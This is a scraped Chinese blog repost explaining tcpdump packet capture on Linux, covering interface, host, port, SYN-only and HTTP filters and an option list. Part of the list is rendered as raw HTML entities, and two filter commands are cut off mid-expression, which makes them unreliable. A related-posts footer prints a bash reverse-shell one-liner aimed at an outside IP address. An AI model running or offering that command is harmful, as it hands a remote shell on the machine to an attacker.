在linux中使用tcpdump抓包的方法:

在linux中使用tcpdump抓包的方法:

1,运行下面命令来从所有网卡中捕获数据包:

tcpdump -i any

2,从指定网卡中捕获数据包

tcpdump -i eth0

3,指定网卡,IP地址,写入文件

tcpdump -i eth0 host 10.19.150.242 -w ./datdump.cap

4,指定网卡,源ip 且 目的ip,写入文件

tcpdump -i eth0 src host 10.10.100.19 and dst host 10.10.100.153 -w ./datdump1.cap

5,指定网卡,源ip 或 目的ip,写入文件

tcpdump -i eth0 src host 10.10.100.19 or dst host 10.10.100.153 -w ./datdump1.cap

6,指定网卡,tcp端口 且 源ip 且 目的ip,写入文件

tcpdump -i eth0 tcp port 52312 and src host 10.10.100.19 and dst host 10.10.100.153 -w ./datdump3.cap

7,指定网卡,tcp端口 且 源ip 且 目的ip,写入文件

tcpdump -i eth0 host ! 10.10.100.19 and ! 10.10.100.153 -w ./datdump4.cap

8,只抓取sync的数据包 具体什么意思,详见

tcpdump -i eth0 tcp[13] == 2 -w ./datdump5.cap

9,只抓取HTTP包

tcpdump -i eth0 ‘tcp[(tcp[12]>>2):4] = 0x48545450’ -w ./datdump5.cap

10,只抓取ip数据帧中没有数据的包,详见

tcpdump -i eth0 ‘((ip[2:2] – ((ip[0]&0xf)<

tcpdump [ 选项 ] [ -c 数量 ] [ -i 网络接口 ] [ -w 文件名 ] [ 表达式 ]

man tcpdump

tcpdump [ -AbdDefhHIJKlLnNOpqStuUvxX# ] [ -B buffer_size ]

&#x200B;    [ -c count ]

&#x200B;    [ -C file_size ] [ -G rotate_seconds ] [ -F file ]

&#x200B;    [ -i interface ] [ -j tstamp_type ] [ -m module ] [ -M secret ]

&#x200B;    [ --number ] [ -Q in|out|inout ]

&#x200B;    [ -r file ] [ -V file ] [ -s snaplen ] [ -T type ] [ -w file ]

&#x200B;    [ -W filecount ]

&#x200B;    [ -E spi@ipaddr algo:secret,... ]

&#x200B;    [ -y datalinktype ] [ -z postrotate-command ] [ -Z user ]

&#x200B;    [ --time-stamp-precision=tstamp_precision ]

&#x200B;    [ --immediate-mode ] [ --version ]

&#x200B;    [ expression ]

&#x9009;&#x9879;&#x7FFB;&#x8BD1;&#x5982;&#x4E0B;&#xFF1A;

-l&#xFF1A;&#x4F7F;&#x6807;&#x51C6;&#x8F93;&#x51FA;&#x53D8;&#x4E3A;&#x7F13;&#x51B2;&#x884C;&#x5F62;&#x5F0F;&#xFF1B;

-c&#xFF1A;&#x6293;&#x5305;&#x6B21;&#x6570;&#xFF1B;

-nn&#xFF1A;&#x76F4;&#x63A5;&#x4EE5; IP &#x53CA; Port Number &#x663E;&#x793A;&#xFF0C;&#x800C;&#x975E;&#x4E3B;&#x673A;&#x540D;&#x4E0E;&#x670D;&#x52A1;&#x540D;&#x79F0;&#xFF1B;

-s &#xFF1A;<数据包大小> &#x8BBE;&#x7F6E;&#x6BCF;&#x4E2A;&#x6570;&#x636E;&#x5305;&#x7684;&#x5927;&#x5C0F;&#xFF1B;

-i&#xFF1A;&#x6307;&#x5B9A;&#x76D1;&#x542C;&#x7684;&#x7F51;&#x7EDC;&#x63A5;&#x53E3;&#xFF1B;

-r&#xFF1A;&#x4ECE;&#x6307;&#x5B9A;&#x7684;&#x6587;&#x4EF6;&#x4E2D;&#x8BFB;&#x53D6;&#x5305;&#xFF1B;

-w&#xFF1A;&#x8F93;&#x51FA;&#x4FE1;&#x606F;&#x4FDD;&#x5B58;&#x5230;&#x6307;&#x5B9A;&#x6587;&#x4EF6;&#xFF1B;

-a&#xFF1A;&#x5C06;&#x7F51;&#x7EDC;&#x5730;&#x5740;&#x548C;&#x5E7F;&#x64AD;&#x5730;&#x5740;&#x8F6C;&#x53D8;&#x6210;&#x540D;&#x5B57;&#xFF1B;

-d&#xFF1A;&#x5C06;&#x5339;&#x914D;&#x4FE1;&#x606F;&#x5305;&#x7684;&#x4EE3;&#x7801;&#x4EE5;&#x4EBA;&#x4EEC;&#x80FD;&#x591F;&#x7406;&#x89E3;&#x7684;&#x6C47;&#x7F16;&#x683C;&#x5F0F;&#x7ED9;&#x51FA;&#xFF1B;

-e&#xFF1A;&#x5728;&#x8F93;&#x51FA;&#x884C;&#x6253;&#x5370;&#x51FA;&#x6570;&#x636E;&#x94FE;&#x8DEF;&#x5C42;&#x7684;&#x5934;&#x90E8;&#x4FE1;&#x606F;&#xFF1B;

-f&#xFF1A;&#x5C06;&#x5916;&#x90E8;&#x7684;Internet&#x5730;&#x5740;&#x4EE5;&#x6570;&#x5B57;&#x7684;&#x5F62;&#x5F0F;&#x6253;&#x5370;&#x51FA;&#x6765;&#xFF1B;

-t&#xFF1A;&#x5728;&#x8F93;&#x51FA;&#x7684;&#x6BCF;&#x4E00;&#x884C;&#x4E0D;&#x6253;&#x5370;&#x65F6;&#x95F4;&#x6233;&#xFF1B;

-v &#xFF1A;&#x8F93;&#x51FA;&#x7A0D;&#x5FAE;&#x8BE6;&#x7EC6;&#x7684;&#x62A5;&#x6587;&#x4FE1;&#x606F;&#xFF1B;--vv&#x5219;&#x8F93;&#x51FA;&#x66F4;&#x8BE6;&#x7EC6;&#x4FE1;&#x606F;&#x3002;
</数据包大小>

抓取带有特殊标记的数据包

https://www.jb51.net/LINUXjishu/118388.html?pc

示例:抓取只包含SYN位的数据包

1.客户端发送SYN

2.服务端回应SYN和ACK

3.客户端发送ACK

现在我们仅捕获包含SYN位的数据包。 注意,不希望步骤2(SYN-ACK)的数据包,只是一个普通的初始SYN。

tcp头的结构

在linux中使用tcpdump抓包的方法:

TCP头包含20个字节固定长度的数据(上图中的前4行),而控制位位于第13个字节(字节计算从0开始)

在linux中使用tcpdump抓包的方法:

只看我们感兴趣的控制位:

在linux中使用tcpdump抓包的方法:

这些是我们感兴趣的TCP控制位。我们对这个八位组中的位进行了编号,从0到7,从右到左,所以PSH位是位编号3,而URG位是编号5,SYN位是2。

在linux中使用tcpdump抓包的方法:

如果只包含 SYN 位,那就是 tcp头的第13个字节(0开始)的值为2,即tcp[13] == 2。

tcpdump -i eth0 tcp[13] == 2 -w ./datdump5.cap

如果抓取包含SYN位的数据包

tcpdump -i eth0 ‘tcp[13] & 2 == 2’ -w ./datdump5.cap

示例:只抓取ip数据包没有数据的包

tcpdump -i eth0 ‘((ip[2:2] – ((ip[0]&0xf)<

ip[2:2]

表示整个ip数据包总长度,即ip头的第2个字节(0开始)开始的两个字节(2,3)的值。

(ip[0]&0xf)<

Original: https://www.cnblogs.com/xutopia/p/15738423.html
Author: xutopia
Title: 在linux中使用tcpdump抓包的方法:

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/613125/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • redis 入门安装流程

    redis安装流程 安装linux的Redis [官网下载即可][ https://redis.io/download/ ] 一般会移动到opt目录下 mv redis-7.0.4…

    Linux 2023年6月7日
    0108
  • Redis 位图BitMap

    应用场景: 用户签到 用户在线状态 统计活跃用户 各种状态值 自定义布隆过滤器 点赞功能 说明: 用string类型作为底层数据结构实现的一种统计状态的数据类型。 位图本质是数组,…

    Linux 2023年5月28日
    0108
  • MVC(二)

    通过前一篇文章,我们对MVC有了一定的了解。 三、MVC能做什么 网站——服务器返回页面——实际上就是一段文本(response header+html)。 实际上mvc的acti…

    Linux 2023年6月13日
    0109
  • linux防火墙设置

    linux防火墙配置,开启/关闭防火墙服务,开放/禁止端口。 linux防火墙设置 环境:ubuntu 20.04 服务设置 开启防火墙 sudo ufw enable 查看防火墙…

    Linux 2023年6月13日
    0105
  • DirectX 使用 Vortice 从零开始控制台创建 Direct2D1 窗口修改颜色

    本文将告诉大家如何使用 Vortice 底层库从零开始,从一个控制台项目,开始搭建一个最简单的使用 Direct2D1 的 DirectX 应用。本文属于入门级博客,期望本文能让大…

    Linux 2023年6月6日
    095
  • Docker容器搭建android编译环境

    Docker容器搭建android编译环境 .版本:v0.4作者:河东西望日期:2022-7-12. 1.1 手动部署 &#x5B89;&#x88C5;&#…

    Linux 2023年6月7日
    0100
  • powershell 编写的tui界面脚本《电壳别名宝》

    中文名: 《电壳别名宝》 English name: 《Power Alias》 powershell 编写的tui界面脚本。 用途:保存容易记住的别名(支持中文),保存linux…

    Linux 2023年5月27日
    0144
  • zabbix用法

    zabbix用法 zabbix web管理界面功能介绍 默认页面是个仪表盘,右上角的编辑可以自定义布局 Monitoring(监控) Dashboard(仪表盘) 和主页面一样,可…

    Linux 2023年6月13日
    081
  • shell之常用的一些命令

    前言 自我感觉学习shell要常用man,–help这样挺方便去写的,光靠熟练远远不够的 bash;gutter:false;</p> <h1>!/bin…

    Linux 2023年6月8日
    096
  • [转]Redis cluster failover

    今天测试了redis cluster failover 功能,在切换过程中很快,但在failover时有force 与takeover 之分 [RHZYTEST_10:REDIS:…

    Linux 2023年5月28日
    0100
  • 虚拟机Ubuntu22.04 chrome页面显示异常

    虚拟机上ubuntu安装chrome出现页面显示异常的解决办法 将chrome上的硬件加速关掉就能恢复正常 具体原因是啥,有没有大佬能解答以下啊 引用:https://blog.c…

    Linux 2023年6月13日
    089
  • 最小二乘法

    背景:我们有一系列的点(x,y),如下图所示,实际上这就是一个y=10*x的一元一次曲线,再加上一个随机误差得到的数据。 我们想用一个线性方程来拟合它y=a*x+b为了达到最好的拟…

    Linux 2023年6月15日
    0123
  • 网络设备配置–10、利用ACL配置访问控制

    一、前言 同系列前几篇:网络设备配置–1、配置交换机enable、console、telnet密码网络设备配置–2、通过交换机划分vlan网络设备配置&#8…

    Linux 2023年6月8日
    0117
  • shell 变量的默认值

    在 shell 脚本中,如果要使用某个变量又想给它设置默认值,可以用 XX=${YY-ZZ} 的方式,其中 ZZ 会是 YY 没有设置时的默认值 另一种用法是 XX=${YY:-Z…

    Linux 2023年5月28日
    0107
  • 反弹shell的各种基础姿势

    Victim: bash -i >& /dev/tcp/175.11.142.54/443 0>&1 Copy /bin/bash -i > /d…

    Linux 2023年5月28日
    097
  • redis订阅关闭异常解决

    redis订阅关闭异常解决 应用程序模块订阅redis运行一段时间出现一直重连Redis服务,日志如下: 2019-04-28 10:06:17,551 ERROR org.spr…

    Linux 2023年5月28日
    0115
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球